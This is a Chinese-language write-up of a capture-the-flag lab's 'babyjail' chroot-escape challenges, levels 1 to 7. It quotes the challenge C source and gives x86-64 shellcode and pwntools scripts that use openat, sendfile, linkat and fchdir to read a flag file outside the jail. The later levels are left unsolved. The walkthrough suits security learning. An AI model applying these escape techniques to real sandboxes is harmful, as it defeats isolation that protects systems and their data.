一. 文件描述符
系统刚刚启动的时候,**0是标准输入(stdin),1是标准输出(stdout),2是标准错误(stderr)。 **
如果此时去打开一个新的文件,它的文件描述符会是3;
再打开一个文件文件描述符就是4…
二. 分析
前几道题目不难,大多都是利用openat和sendfile来实现逃逸,主要利用的有:
- openat(AT_FDCWD, “…/…/flag”, 0 ,0),这里AT_FDCWD=0xffffff9c,代表的是_current working directory_,所以这里就是以当前目录为.,打开…/…/flag。前两个题目没有chdir(‘/’),所以可以实现这样的路径穿越
- openat(3, “…/…/flag”, 0, 0),因为题目会打开文件,打开的文件标识符就是3,只要构造打开的文件目录和flag的相对位置关系正确就能实现逃逸
三. 实战通关
level 1 : 任意文件读取
分析
功能:可以读取任意文件内容。
限制:文件名作为命令行的第一个参数,并且只能是相对路径。如果是绝对路径(/flag),则会被检测,然后输出 fake_flag。
…
escaping
./babyjail_level1 …/flag 将相对路径 …/flag内容 发送到 stdout 显示出来
例如:/home/hacker/Desktop/heap.py【绝对路径】
相对路径:…/home/hacker/Desktop/heap.py (…/先转到根目录,然后正常向下走)
level 2:orw
分析
有限制,不能使用 shellcraft.sh() 打开 /bin/sh 。需要使用 syscall read / write 读出来。
escaping
p = process(["/challenge/babyjail_level2", "/"], cwd="/") # 指定参数:根目录 sh = ''' lea rdi, [rip + flag] # Open syscall mov rsi, 0 mov rdx, 0 mov rax, 0x02 syscall mov rdi, rax # Read syscall mov rsi, rsp mov rdx, 1000 mov rax, 0x00 syscall mov rdi, 1 # Write syscall mov rax, 0x01 syscall mov rdi, 0 # Exit syscall 这个可要可不要 mov rax, 0x3c syscall flag: .string "../../flag" # 这里不能使用 /flag ,直接打开/flag无法逃逸 ''' sh = asm(sh)
from pwn import * elf = ELF("/challenge/babyjail_level2") context.arch="amd64" shellcode = asm(shellcraft.readfile("flag", 1)) p = process(["/challenge/babyjail_level2", "/"], cwd="/") # 指定参数:根目录 p.sendline(shellcode) p.interactive()
level 3 : orw
源码
#define _GNU_SOURCE 1 #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <time.h> #include <errno.h> #include <assert.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/sendfile.h> #include <capstone/capstone.h> #define CAPSTONE_ARCH CS_ARCH_X86 #define CAPSTONE_MODE CS_MODE_64 void print_disassembly(void *shellcode_addr, size_t shellcode_size) { csh handle; cs_insn *insn; size_t count; if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK) { printf("ERROR: disassembler failed to initialize.\n"); return; } count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn); if (count > 0) { size_t j; printf(" Address | Bytes | Instructions\n"); printf("------------------------------------------------------------------------------------------\n"); for (j = 0; j < count; j++) { printf("0x%016lx | ", (unsigned long)insn[j].address); for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]); for (int k = insn[j].size; k < 15; k++) printf(" "); printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str); } cs_free(insn, count); } else { printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n"); printf(" Address | Bytes\n"); printf("--------------------------------------------------------------------\n"); for (unsigned int i = 0; i <= shellcode_size; i += 16) { printf("0x%016lx | ", (unsigned long)shellcode_addr+i); for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]); printf("\n"); } } cs_close(&handle); } int main(int argc, char **argv, char **envp) { assert(argc > 0); printf("###\n"); printf("### Welcome to %s!\n", argv[0]); printf("###\n"); printf("\n"); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 1); puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this"); puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n"); puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n"); puts("You may upload custom shellcode to do whatever you want.\n"); assert(argc > 1); puts("Checking to make sure you're not trying to open the flag.\n"); assert(strstr(argv[1], "flag") == NULL); int fd = open(argv[1], O_RDONLY|O_NOFOLLOW); if (fd < 0) printf("Failed to open the file located at `%s`.\n", argv[1]); else printf("Successfully opened the file located at `%s`.\n", argv[1]); char jail_path[] = "/tmp/jail-XXXXXX"; assert(mkdtemp(jail_path) != NULL); printf("Creating a jail at `%s`.\n", jail_path); assert(chroot(jail_path) == 0); puts("Moving the current working directory into the jail.\n"); assert(chdir("/") == 0); int fffd = open("/flag", O_WRONLY | O_CREAT); write(fffd, "FLAG{FAKE}", 10); close(fffd); void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0); assert(shellcode == (void *)0x1337000); printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode); puts("Reading 0x1000 bytes of shellcode from stdin.\n"); int shellcode_size = read(0, shellcode, 0x1000); puts("This challenge is about to execute the following shellcode:\n"); print_disassembly(shellcode, shellcode_size); puts(""); puts("Executing shellcode!\n"); ((void(*)())shellcode)(); }
分析
使用 orw (或者 shellcraft.read 应该也可以)
escaping
略,参见 level 2。 接下来orw就不用了,学习新方法。
level 4:openat,read,write,sendfile
openat,sendfile
int open(const char *path, int oflag, mode_t mode); int openat(int fd, const char *path, int oflag, mode_t mode ); //函数执行成功返回文件描述符,失败返回-1.
- 当传给函数的路径名是绝对路径时,二者无区别.(openat()自动忽略第一个参数fd)
- 当传给函数的是相对路径时,如果openat()函数的第一个参数fd是常量AT_FDCWD时,则其后的第二个参数路径名是以当前工作目录为基址的;否则以fd指定的目录文件描述符为基址。
目录文件描述符的取得通常分为两步,先用opendir()函数获得对应的DIR结构的目录指针,再使用int dirfd(DIR*)函数将其转换成目录描述符,此时就可以作为openat()函数的第一个参数使用了。
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile是一个很好用的系统调用,它允许将文件数据从一个文件描述符直接发送到另一个文件描述符,而且不需要经过缓冲区拷贝,被称为“零拷贝技术”,这一技术也被应用于mmap等系统调用中。可以说这个系统调用用起来比read+write还要简单。
out_fd参数:为写打开的文件描述符,在2.6.33之前的Linux内核中,out_fd必须引用套接字。从Linux 2.6.33开始,它可以是任何文件。
in_fd参数:为读打开的文件描述符,必须对应于支持类似mmap(2)的操作的文件,即它必须指向文件。
offset参数:指定从读入文件流的那个位置开始读,如果指定为NULL,则使用读入文件流的默认起始位置。
count参数:指定在文件描述符in_fd和out_fd之间传输的字节数。
成功返回写入out_fd的字节数,失败返回-1,并且设置errno。
分析
方法一:openat + read + write [略]
方法二:openat + sendfile
escaping
sh = ''' mov rdi, 3 # syscall openat lea rsi, [rip + flag] mov rdx, 0 mov r10, 0 mov rax, 0x101 syscall mov rdi, 1 # syscall sendfile mov rsi, rax mov rdx, 0 mov r10, 1000 mov rax, 0x28 syscall flag: .string "flag" # 等同 ../../../flag , 但是不能使用 /flag ,直接打开/flag会被检查到 ''' sh = asm(sh)
level 5:linkat,openat,sendfile
linkat
int linkat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath, int flags); • 1
使用 linkat 我们可以创建一个指向根目录中的文件的硬链接。
硬链接是将名称与文件关联的条目。这允许我们使用不同的名称访问内部。/flag/tmp/jail/
成功时返回值 0 。
注意:硬链接不会显示出来新的文件
分析
方法一:linkat + open + sendfile (openat被禁了)
方法二:linkat + orw
escaping
mov rdi, 3 # Linkat syscall lea rsi, [rip + old_path] mov rdx, 4 lea r10, [rip + new_path] mov r8, 0 mov rax, 0x109 syscall lea rdi, [rip + new_path] # Open syscall mov rsi, 0 mov rdx, 0 mov rax, 0x02 syscall mov rdi, 1 # syscall sendfile mov rsi, rax mov rdx, 0 mov r10, 1000 mov rax, 0x28 syscall old_path: .string "flag" new_path: .string "/flag2.txt"
level 6 : fchdir
fchdir
int fchdir(int fd); // 成功返回值为0,失败为-1
系统调用 chdir()和 fchdir()可以用于更改进程的当前工作目录。
此两函数的区别在于,指定目录的方式不同。chdir()是以路径的方式进行指定,而 fchdir()则是通过文件描述符,文件描述符可调用 open()打开相应的目录时获得。
分析
# Fchdir syscall mov rdi, 3 mov rax, 0x51 syscall
escaping
# 程序会打开根目录 / 获得/flag文件描述符。 sh = ''' mov rdi, 3 # fchdir syscall mov rax, 0x51 syscall lea rdi, [rip + flag] # Open syscall mov rsi, 0 mov rdx, 0 mov rax, 0x02 syscall mov rdi, rax # Read syscall mov rsi, rsp mov rdx, 1000 mov rax, 0x00 syscall mov rdi, 1 # Write syscall mov rax, 0x01 syscall flag: .string "flag" ''' sh = asm(sh)
level 7:chdir, chroot, mkdir, orw, sendfile
源码
#define _GNU_SOURCE 1 #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <time.h> #include <errno.h> #include <assert.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/mman.h> #include <sys/sendfile.h> #include <seccomp.h> #include <capstone/capstone.h> #define CAPSTONE_ARCH CS_ARCH_X86 #define CAPSTONE_MODE CS_MODE_64 void print_disassembly(void *shellcode_addr, size_t shellcode_size) { csh handle; cs_insn *insn; size_t count; if (cs_open(CAPSTONE_ARCH, CAPSTONE_MODE, &handle) != CS_ERR_OK) { printf("ERROR: disassembler failed to initialize.\n"); return; } count = cs_disasm(handle, shellcode_addr, shellcode_size, (uint64_t)shellcode_addr, 0, &insn); if (count > 0) { size_t j; printf(" Address | Bytes | Instructions\n"); printf("------------------------------------------------------------------------------------------\n"); for (j = 0; j < count; j++) { printf("0x%016lx | ", (unsigned long)insn[j].address); for (int k = 0; k < insn[j].size; k++) printf("%02hhx ", insn[j].bytes[k]); for (int k = insn[j].size; k < 15; k++) printf(" "); printf(" | %s %s\n", insn[j].mnemonic, insn[j].op_str); } cs_free(insn, count); } else { printf("ERROR: Failed to disassemble shellcode! Bytes are:\n\n"); printf(" Address | Bytes\n"); printf("--------------------------------------------------------------------\n"); for (unsigned int i = 0; i <= shellcode_size; i += 16) { printf("0x%016lx | ", (unsigned long)shellcode_addr+i); for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]); printf("\n"); } } cs_close(&handle); } int main(int argc, char **argv, char **envp) { assert(argc > 0); printf("###\n"); printf("### Welcome to %s!\n", argv[0]); printf("###\n"); printf("\n"); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 1); puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this"); puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n"); puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n"); puts("You may upload custom shellcode to do whatever you want.\n"); puts("For extra security, this challenge will only allow certain system calls!\n"); assert(argc > 1); puts("Checking to make sure you're not trying to open the flag.\n"); assert(strstr(argv[1], "flag") == NULL); int fd = open(argv[1], O_RDONLY|O_NOFOLLOW); if (fd < 0) printf("Failed to open the file located at `%s`.\n", argv[1]); else printf("Successfully opened the file located at `%s`.\n", argv[1]); char jail_path[] = "/tmp/jail-XXXXXX"; assert(mkdtemp(jail_path) != NULL); printf("Creating a jail at `%s`.\n", jail_path); assert(chroot(jail_path) == 0); puts("Moving the current working directory into the jail.\n"); assert(chdir("/") == 0); int fffd = open("/flag", O_WRONLY | O_CREAT); write(fffd, "FLAG{FAKE}", 10); close(fffd); void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0); assert(shellcode == (void *)0x1337000); printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode); puts("Reading 0x1000 bytes of shellcode from stdin.\n"); int shellcode_size = read(0, shellcode, 0x1000); puts("This challenge is about to execute the following shellcode:\n"); print_disassembly(shellcode, shellcode_size); puts(""); scmp_filter_ctx ctx; puts("Restricting system calls (default: kill).\n"); ctx = seccomp_init(SCMP_ACT_KILL); printf("Allowing syscall: %s (number %i).\n", "chdir", SCMP_SYS(chdir)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "chroot", SCMP_SYS(chroot)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chroot), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "mkdir", SCMP_SYS(mkdir)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mkdir), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "open", SCMP_SYS(open)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "read", SCMP_SYS(read)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "write", SCMP_SYS(write)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0); printf("Allowing syscall: %s (number %i).\n", "sendfile", SCMP_SYS(sendfile)); assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) == 0); puts("Executing shellcode!\n"); assert(seccomp_load(ctx) == 0); ((void(*)())shellcode)(); }
chdir,chroot,mkdir
int chdir( const char *pathname ); // 成功返回值为0,失败为-1
chdir函数用于改变当前工作目录。
调用参数是指向目录的指针,调用进程需要有搜索整个目录的权限。每个进程都具有一个当前工作目录。在解析相对目录引用时,该目录是搜索路径的开始之处。
如果调用进程更改了目录,则它只对该进程有效,而不能影响调用它的那个进程。在退出程序时,shell还会返回开始时的那个工作目录。
int chroot(const char *path);
chroot命令用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。
在经过 chroot 之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件。
int mkdir(const char *pathname, mode_t mode);
运用条件:只能在已存在的目录下建立一级子目录
返回值: 返回0表示成功,返回-1表述出错。
mode 表示新目录的权限,可以取以下值:
其中,mode就用0777,0755这种形式。
escaping
暂时没打通,先放着
level 8 ~ level 18
还没写完,后续待定…